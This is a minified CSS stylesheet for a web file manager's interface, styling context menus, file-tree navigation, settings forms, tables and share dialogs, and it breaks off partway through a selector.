.context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-treeSelf{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-treeSelf:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-treeFav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;}.x-treeFav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open_the_path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open_the_path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute_to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute_to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy_to .font-icon,.context-menu-list .context-menu-item.copy_see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy_to .font-icon:before,.context-menu-list .context-menu-item.copy_see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav_remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav_remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open_text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.open_text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav_page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav_page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon:before,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:10px;box-shadow:0 0 0 1px #6db9f5;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}body{-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow-x:hidden;}body ul{margin:0;padding:0;}body li{margin:0;padding:0;}#body a{text-decoration:none;}#body input[type='text'],#body input[type='password']{padding-left:0.5em;outline:none;border:1px solid #bbb;border:1px solid #ddd;background:#fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;border-radius:3px;}#body input[type='text']:focus,#body input[type='password']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .font-icon{padding-right:0.8em;display:inline-block;}#body .system_conennt .left_freame .left_content .role_box ul li.select{background:#80DBFF;}#body .system_conennt .left_freame .left_content .ztree li a{border:1px solid #fff;padding:0px;}#body .system_conennt .left_freame .left_content .ztree li a.hover{border:1px solid #63acff;color:#444;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{color:#666;border:1px solid #63acff;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode.hover{color:#666;border:1px solid #63acff;}#body .panel{border-radius:0;margin-right:30px;}#body .panel-default>.panel-heading{background:#eee;padding:8px 15px;}#body .panel-title{font-size:1.1em;}#body .form_row{margin-bottom:5px;font-size:1.1em;width:100%;float:left;}#body .form_row:after{clear:both;}#body .form_row label{margin-right:20px;}#body .form_row input[type='radio']{display:inline-block;margin-right:10px;}#body .form_row input[type='text'],#body .form_row input[type='password']{display:inline-block;margin-right:10px;height:30px;width:200px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;color:#444;border-radius:3px;}#body .form_row input[type='text']:focus,#body .form_row input[type='password']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .form_row textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:400px;height:80px;border-radius:3px;padding:8px;transition:none;}#body .form_row textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .form_row.line{border-bottom:2px solid #eee;}#body .form_row .setting_title{float:left;width:100px;height:30px;padding-top:5px;}#body .form_row .setting_content{float:left;margin-left:20px;}#body .form_row .setting_content .desc{width:120px;}#body .form_row .font-icon{padding:0;}#body .form_row .file_select_input input{width:500px;}#body .form_row .file_select_input .path_select{padding:1px 10px;margin-left:-16px;height:30px;border-top-left-radius:0;border-bottom-left-radius:0;margin-top:-3px;margin-top:-6px \9\0;line-height:30px;}#body .form_row i{padding-left:5px;color:#777;font-size:12px;font-style:normal;display:inline-block;padding-top:5px;}#body .form_row.from_row_submit{background:#eee;margin:0;border-top:1px solid #ddd;padding:15px 0px 15px 0px;}#body .form_row.from_row_submit .setting_content{margin-left:10px;}#body .form_row.from_row_submit .btn{padding:4px 2em;margin-left:10px;}#body .system_setting .panel,#body .setting_system_others .panel{margin-top:10px;}#body .system_setting .panel-body,#body .setting_system_others .panel-body{padding:0px;padding-top:20px;}#body .system_setting .form_row,#body .setting_system_others .form_row{padding:5px 0px 5px 0px;}#body .system_setting .form_row .setting_title,#body .setting_system_others .form_row .setting_title{width:150px;margin-left:20px;}#body .system_setting .form_row input[type='text'],#body .setting_system_others .form_row input[type='text']{display:block;float:left;width:300px;}#body .system_setting .form_row label,#body .setting_system_others .form_row label{padding-right:20px;line-height:28px;margin:0;}#body .system_setting .form_row label input:focus,#body .setting_system_others .form_row label input:focus{box-shadow:none;}#body .system_setting .form_row.from_row_submit,#body .setting_system_others .form_row.from_row_submit{background:#eee;margin:0;border-top:1px solid #ddd;padding:15px 0px 15px 0px;}#body .system_setting .form_row.from_row_submit .setting_content,#body .setting_system_others .form_row.from_row_submit .setting_content{margin-left:10px;}#body .system_setting .form_row.from_row_submit .btn,#body .setting_system_others .form_row.from_row_submit .btn{padding:4px 2em;margin-left:10px;}#body .setting_tools_right{position:absolute;right:30px;top:27px;}#body .setting_tools_right .version_vip{display:inline-block;float:right;right:120px;top:26px;text-align:center;padding:0px 10px;height:24px;line-height:24px;border-radius:3px;}#body .setting_tools_right .system_setting_more{margin-left:10px;}#body .color_default{position:absolute;left:355px;margin-top:45px;width:270px;border-radius:6px;box-shadow:0 0 20px #ddd inset;}#body .color_default .color_list{width:40px;height:40px;float:left;box-shadow:0 0 10px #ddd;margin:7px;border-radius:20px;cursor:pointer;}#body .color_default .color_list:hover{box-shadow:0 0 10px rgba(0,0,0,0.5);}#body .ztree{padding:5px 5px;}#body .menu_left{position:fixed;z-index:10;background:#f9f9f9;left:0;height:100%;width:18%;border-right:1px solid #ddd;margin-left:-1px;}#body .menu_left h1{text-align:left;color:#666;padding:15px 20px 10px 30px;font-size:35px;font-weight:800;}#body .menu_left .setting a{height:40px;line-height:40px;text-decoration:none;box-sizing:border-box;text-indent:10px;color:#666;display:block;overflow:hidden;cursor:pointer;text-transform:capitalize;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;font-size:15px;}#body .menu_left .setting a:hover{background:#f3f3f3;}#body .menu_left .setting a.selected{background:#ddd;color:#000;border-left:5px solid #EA533F;padding-left:10px;}#body .randomImage{width:25px;height:25px;margin-left:15px;cursor:pointer;}#body .main{position:absolute;left:18%;width:82%;height:93%;margin:30px 0 0 10px;}#body .main .h1 .font-icon{padding-right:16px;}#body .main div.h1{font-weight:400;color:#666;padding-bottom:8px;margin:0;font-size:22px;}#body .main .savebox{border-top:1px solid #eee;margin-bottom:10px;}#body .main .savebox a.save{margin-left:5px;margin-top:5px;padding:4px 20px;}#body .main .list{float:left;width:140px;height:115px;margin-right:10px;margin-bottom:10px;border:1px solid #ddd;background:#fff;cursor:pointer;border-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .main .list .ico{width:120px;height:80px;margin:10px;text-align:center;}#body .main .list .theme{margin:5px 10px;}#body .main .list .info{text-align:center;color:#666;margin:0px;margin-top:0px;font-size:1em;height:24px;line-height:24px;border-top:1px solid #eee;background:rgba(0,0,0,0.05);overflow:hidden;}#body .main .list .ico img{max-width:100%;height:100%;}#body .main .list.this{border:1px solid #63acff;background-color:#c9e2ff;}#body .main .list.this .info{color:#444;border-top:1px solid #c9e2ff;}#body .main .list.listhover{border:1px solid #63acff;}#body .main .content{word-break:break-all;color:#448;}#body .main .content h2{border-bottom:1px dashed #eef;padding-bottom:5px;margin-bottom:5px;font-weight:400;font-size:1.25em;}#body .main .content p{margin-left:5px;text-indent:2em;margin-bottom:8px;color:#666;font-size:1em;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}#body .main .content .box{color:#555;clear:both;color:#666;}#body .main .content .box .title{color:#444;border-bottom:1px dashed #ddd;font-size:21px;margin-bottom:10px;margin-top:10px;}#body .main .content .box .title span{border-bottom:1px solid #aaa;display:inline-block;margin-bottom:-1px;text-align:center;padding:5px 10px;float:none;width:auto;}#body .main .content .box p{line-height:1.7em;text-indent:2em;padding:3px;margin:0;}#body .main .content .box p b{padding-right:8px;}#body .main .content .box p i{padding-right:10px;}#body .main .nav a{display:block;float:left;padding:4px 2em;background:#eee;border:1px solid #ddd;margin-bottom:-1px;margin-left:-1px;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;color:#666;}#body .main .nav a:hover,#body .main .nav a.this{background:#666;color:#444;border:1px solid #666;border-left-color:#666;color:#fff;}#body .main .member input{display:inline-block;width:45px;margin-left:2px;}#body .main .member span{padding-left:10px;}#body .main .member select{padding:3px 5px;font-family:"微软雅黑";color:#666;}#body .main .member .info{background:#efe;padding:6px 10px;color:#8a8;border:#ccc 1px dotted;margin-top:10px;}#body .main .member .edit_role{color:#666;}#body .main .member .edit_role:hover{border-bottom:1px solid #666;}#body .main .together{margin-top:-1px;border-bottom:1px solid #eee;padding:5px 0 0 0px;}#body .main .together .title{float:left;width:80px;height:28px;margin:5px;color:#333;}#body .main .together .title i{padding-left:5px;font-style:normal;}#body .main .together span.text{color:#bbb;font-size:1em;padding-left:10px;}#body .main .together.input input{width:40%;margin-left:5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:26px;line-height:26px;}#body .main .together.input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .main .group_editor .tag{height:27px;line-height:30px;margin:2px 4px;padding:0px 8px;text-decoration:none;color:#666;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;display:block;float:left;border:1px solid #eee;background:#fff;}#body .main .group_editor .tag input{border:none;vertical-align:initial;display:inline-block;min-height:12px;margin-right:6px;}#body .main .group_editor .tag:hover{color:#63acff;border-color:rgba(99,172,255,0.7);}#body .main .group_editor .tag.this{border-color:#63acff;color:#63acff;background:#ffffff;}#body .main .group_editor .tag span{cursor:pointer;}#body .main .group_editor .together a.button{margin:0 0 0 10px;}#body .alert{position:absolute;right:30px;left:0px;margin-top:10px;}#body .main .save{width:60px;margin-top:10px;}#body .main .content .title span{border-bottom:2px solid #bbb;}#body .main .panel{margin-left:-1px;}#body .main .panel table .title{font-size:1.15em;}#body .main .panel table .button{margin-left:0px;}#body .main .panel table .title span{border:none;}#body .main .panel table .menu_list .name input{width:90%;font-weight:400;}#body .main .panel table .menu_list .path input{width:90%;font-weight:400;}#body .menu_list{color:#666;}#body .menu_list td span{display:none;}#body .menu_list td label{float:right;margin-right:8px;line-height:34px;padding-top:0px;}#body .menu_list td label input{margin-right:5px;width:initial;}#body .menu_list td.url input[type=text]{width:50% !important;float:left;margin-top:5px;}#body .menu_list td label span{display:inline-block;}#body .menu_system td input[type='text']{display:none !important;}#body .menu_system td span{display:inline !important;}#body .menu_system .move_del{display:none !important;}#body .menu_hidden{opacity:0.5;}#body .setting_menu table tr td.url{line-height:30px;}#body .save{width:auto;}#body .main .select table a.button{padding:0 8px;}#body input[type="radio"]{width:auto;border:none;}#body .setting_menu{margin-left:-1px;}#body table{font-size:1em;color:#888;width:100%;margin:0px;border:none;}#body table tr{border-bottom:1px solid #eee;background:#fff;height:30px;}#body table tr input[type='text']{display:block;width:80%;color:#888;height:24px;}#body table tr.title{background:#fff;color:#224;line-height:2.5em;height:2.5em;}#body table tr.title td{border-bottom:1px solid #eee;font-weight:800;}#body table tr.title span{color:#999;font-size:1em;padding-left:4px;font-weight:400;}#body table tr td{border-bottom:1px solid #eee;line-height:2.5em;height:2.5em;padding-left:3%;border-right:1px solid #eee;}#body table tr td.name{width:30%;}#body table tr td.name,#body table tr td.path{border-right:1px solid #eee;}#body table tr td.action{line-height:1.3em;}#body table tr td.action a{margin-right:5px;}#body table tr td .font-icon{padding-right:0em;}#body a.add{display:block;text-align:center;text-decoration:none;background:#eee;line-height:25px;height:25px;color:#444;box-shadow:none;}#body a.add:hover{background:#def;}#body .system_menu_save{padding:4px 2em;margin-top:20px;}#body .create_app{margin:0;display:block;position:absolute;right:21px;cursor:pointer;}#body .app_menu_left{min-width:130px;width:130px;}#body .app_menu_left .setting li.selected{padding-left:12px;}div#body div.app_list .app-list .app_li{border:1px solid #ddd;border-radius:0px;box-shadow:0 2px 7px #f6f6f6;}body.setting_page a.font-icon-label{color:#698ebf;font-size:20px;width:35px;text-decoration:none;padding:0;display:inline-block;text-align:center;border-radius:3px;background:#E9F3F9;}body.setting_page a.font-icon-label:hover{background:#698ebf;color:#fff;}body.setting_page a.font-icon-label .font-icon{padding:0 !important;}body.setting_page .select_drop_menu.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle),body.setting_page .button_aciton_muti.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-radius:2px;}body.setting_page .select_drop_menu ul.dropdown-menu,body.setting_page .button_aciton_muti ul.dropdown-menu{border:1px solid rgba(0,0,0,0.15);box-shadow:0 4px 30px rgba(0,0,0,0.2);}body.setting_page .select_drop_menu ul.dropdown-menu li>a,body.setting_page .select_drop_menu ul.dropdown-menu li>a,body.setting_page .button_aciton_muti ul.dropdown-menu li>a,body.setting_page .button_aciton_muti ul.dropdown-menu li>a{font-size:13px;padding:3px 30px;color:#666;}body.setting_page .select_drop_menu ul.dropdown-menu li>a:focus,body.setting_page .select_drop_menu ul.dropdown-menu li>a:hover,body.setting_page .button_aciton_muti ul.dropdown-menu li>a:focus,body.setting_page .button_aciton_muti ul.dropdown-menu li>a:hover{background:#63acff;color:#fff;}body.setting_page .aui_title{font-size:1em;}body.setting_page .label-info{color:#698ebf;background:#E9F3F9;font-weight:400;font-style:12px;}.share_dialog .space_info_bar{margin:0 auto;margin-top:5px;}.share_dialog .label-default{background-color:#bbb;}.share_dialog .space_info_bar .space_process .space_process_use{background-color:#284b5a;}.share_dialog .select_drop_menu button.btn{width:150px;height:25px;}.share_dialog .select_drop_menu .selected{background-color:#def;}.share_dialog .select_parent_content .btn{width:140px;}.share_dialog .select_parent_content .icon-group{color:#FC913F;}.share_dialog .btn-default{background:#fefefe;background-image:none;filter:none;padding:2px 6px;}.share_dialog .dlg_group_display{width:270px;position:relative;left:80px;top:-30px;clear:both;margin-bottom:-20px;}.share_dialog .dlg_group_display .cell span.label{float:left;margin:4px 8px 4px 0;font-size:1em;}body.setting_page .ztree a{border:none;padding-left:3px;}body.setting_page .ztree a:hover{border:none;}body.setting_page .ztree li a.curSelectedNode{color:#fff;}body.setting_page .ztree .sub_menu{float:right;display:none;line-height:20px;padding-right:7px;font-size:1.15em;color:#ddd;}body.setting_page .ztree .hover .sub_menu{display:inline-block;color:#666;}body.setting_page .ztree .curSelectedNode .sub_menu,body.setting_page .ztree .hover.curSelectedNode .sub_menu{display:inline-block;color:#fff;}textarea#name{width:157px;height:80px;border:1px solid #ddd;font-size:13px;border-radius:3px;outline:none;}textarea#name:focus{border-color:#75a1f0;box-shadow:0 0 4px #75a1f0;}body.setting_page .select_parent_content .ztree{position:absolute;left:110px;width:160px;margin-top:-2px;background-color:#fff;border:1px solid #ccc;overflow-y:auto;height:250px;}body.setting_page .select_parent_content .ztree .sub_menu,body.setting_page .select_parent_content .ztree .curSelectedNode .sub_menu{opacity:0.01;filter:alpha(opacity=1);}#body .system_conennt{position:absolute;border:1px solid #ddd;box-shadow:0 0 5px #ddd;bottom:10px;right:30px;top:38px;left:0px;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}#body .system_conennt .group_title_span{text-decoration:none;color:#428bca;}#body .system_conennt .left_freame{position:absolute;bottom:0px;top:0px;overflow:auto;width:180px;background:#FEFEFF;border-right:1px solid #ddd;}#body .system_conennt .left_freame .left_header{position:fixed;}#body .system_conennt .left_freame .left_header .tab{width:90px;margin-left:-1px;text-align:center;float:left;height:30px;cursor:pointer;line-height:30px;border:1px solid #d2d2d2;border-top:none;border-right:none;background:#DAE9FD;}#body .system_conennt .left_freame .left_header .tab.this{border-color:1px solid #FEFEFF;border-bottom:none;color:#555;background:#FEFEFF;font-weight:800;}#body .system_conennt .left_freame .left_content{margin-top:35px;}#body .system_conennt .left_freame .left_content .role_box{padding:10px 10px;}#body .system_conennt .left_freame .left_content .role_box ul{list-style:none;}#body .system_conennt .left_freame .left_content .role_box ul li.role_cell{border-radius:3px;height:30px;line-height:30px;padding-left:20px;margin-bottom:3px;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .system_conennt .left_freame .left_content .role_box ul li.role_cell.role_cell_add{text-align:center;background:#eee;padding:0;color:#666;}#body .system_conennt .left_freame .left_content .role_box ul li.role_cell:hover{background:#eee;}#body .system_conennt .left_freame .left_content .role_box 